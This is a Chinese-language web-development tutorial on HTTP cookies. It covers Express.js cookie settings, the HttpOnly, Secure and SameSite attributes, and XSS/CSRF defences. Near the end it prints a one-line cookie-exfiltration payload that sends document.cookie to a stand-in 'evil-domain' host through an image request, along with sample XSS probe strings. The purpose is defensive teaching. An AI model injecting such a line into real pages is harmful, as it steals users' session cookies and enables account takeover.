HTTP Cookies 深度實踐安全 定義狀態管理核心技術並優化 XSS 防範機制

什麼是 HTTP Cookies？

HTTP Cookies (網頁餅乾) 是一種由伺服器傳送並儲存在使用者瀏覽器上的小型文字檔案，旨在補足 HTTP 協定「無狀態 (Stateless)」的特性。Cookie 原理 中最重要的預設行為是：一旦設定，瀏覽器在後續向同一伺服器發送請求時，會自動將 Cookie 包含在請求標頭中。這使得 Web 應用能實現「狀態管理」，如記住登入狀態、購物車內容或追蹤使用者偏好。透過設定 HttpOnly（防止 JS 存取）、Secure（限 HTTPS）等安全參數，Cookie 能在提升使用者體驗的同時，提供比 localStorage 更高品質的安全防護，是現代網頁開發中不可或缺的基礎技術。

為什麼需要 HTTP Cookies：狀態管理的基石

在前兩篇文章小編介紹了 非同步 AJAX 和 網頁即時通訊技術，可以發現前後端 API 的溝通只關注在「傳入」和「傳出」或「事件」，過程中 HTTP 的溝通並未包含狀態。這就是為什麼我們需要 HTTP Cookies。

當網頁需要重新整理或再次開啟相關頁面，並回到上一次的狀態時，Cookies 提供狀態的存放空間來恢復前一次瀏覽。瀏覽器雖然有提供 localStorage、sessionStorage、IndexedDB，但 Cookie 有個特殊的預設行為是每次都會跟著請求回到伺服器。

是不是常常被另外一半說，我講過了你都沒在聽，或是你上次跟我講過了你都不記得？Cookies 可以幫助你在回應時，結合一些「記起來」的東西到回應裡，但實際上人與人之間該怎麼做？ That is a question QQ。

HTTP Cookies 的常見使用場景

• 商業上: 因為會跟著請求回到伺服器，常被用來紀錄特定的消費者行為（如 Facebook 像素）。
• 流程上: 記錄帳號相關狀態，常見的第三方登入狀態儲存就會運用到它。
• 個人化: 不想存進資料庫，但又想要客製化的部分。

Cookie 安全問題與潛在風險

如果函式庫 CDN 的來源是不安全的，只要被駭掉放一些偷資訊的程式碼，資料就會在沒注意到的情況下被送出去。這就是為什麼 Cookie 安全 如此重要。

Cookie 實作：Express.js 設定與參數詳解

Cookie 實作 關鍵參數就是 HttpOnly：

• 有 HttpOnly: 由伺服器產生，只有伺服器端可以操作，安全性較高。
• 無 HttpOnly: 透過 document.cookie 存取，會有 XSS 問題。

運用 Express 設定 Cookie 的方式：

1
2
3
4
5
6
7
8
9
10
11

res.cookie("rememberme", "1", {
  domain: "example.com",
  path: "/admin",
  secure: true, // 限 HTTPS
  expires: new Date(Date.now() + 900000), // 特定日期到期
  httpOnly: true, // 防止 XSS 攻擊讀取
});

res.cookie("cart", { items: [1, 2, 3] }, {
  maxAge: 900000, // 存活長度（毫秒）
});

Cookie 安全機制：防範 XSS 與 CSRF

由於 Cookies 會隨著請求一起回到伺服器，安全機制包括：

• 控制範圍: 利用 Domain 與 Path 限制作用網域。
• 敏感 Token: 設計限用一次、綁定 Fingerprint 或 IP 位置。

在 MDN 文件中有個「殭屍 Cookie」的概念，與 Facebook 像素類似，都是用來鎖定使用者。React 等當代函式庫會註明 dangerouslySetInnerHTML 2，提醒該處會執行內容。

假設被埋了一張假圖片，圖片載入時 Cookie 就可能暴露：

1

new Image().src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

您可以到 XSS Quiz 練習腳本注入：

• aaa<bbb>ccc/ddd'eee"fff;ggg:hhh
• <script> alert(document.domain) </script>

FAQ：HTTP Cookies 常見問題

Q1：Cookie、localStorage 與 sessionStorage 該怎麼選？

A：如果您需要將資料傳回伺服器（如：Session ID），Cookie 是唯一選擇；如果資料量大且只需在瀏覽器端使用，localStorage 較適合（且容量較大）；而 sessionStorage 則適用於「分頁關閉即消失」的暫存資料。從安全角度看，具備 HttpOnly 的 Cookie 是存放敏感身份憑證的首選。

Q2：什麼是「第三方 Cookie (Third-party Cookies)」？為什麼大家在討論它的消失？

A：第三方 Cookie 是由您正在訪問的網域以外的網站（如廣告追蹤器）所設定的。為了保護隱私，現代瀏覽器（如 Chrome, Safari）正逐漸限制或禁用它。這迫使行銷人員必須轉向「第一方數據」經營，或者使用更注重隱私的追蹤技術。

Q3：如何解決 Cookie 帶來的 CSRF (跨站請求偽造) 風險？

A：除了傳統的 CSRF Token 以外，現在最推薦的做法是使用 SameSite 屬性。設定為 SameSite=Lax 或 Strict 可以限制 Cookie 在跨站請求時被發送，從而阻斷駭客誘導點擊所引發的偽造請求。

• ← 上一篇
• 下一篇 →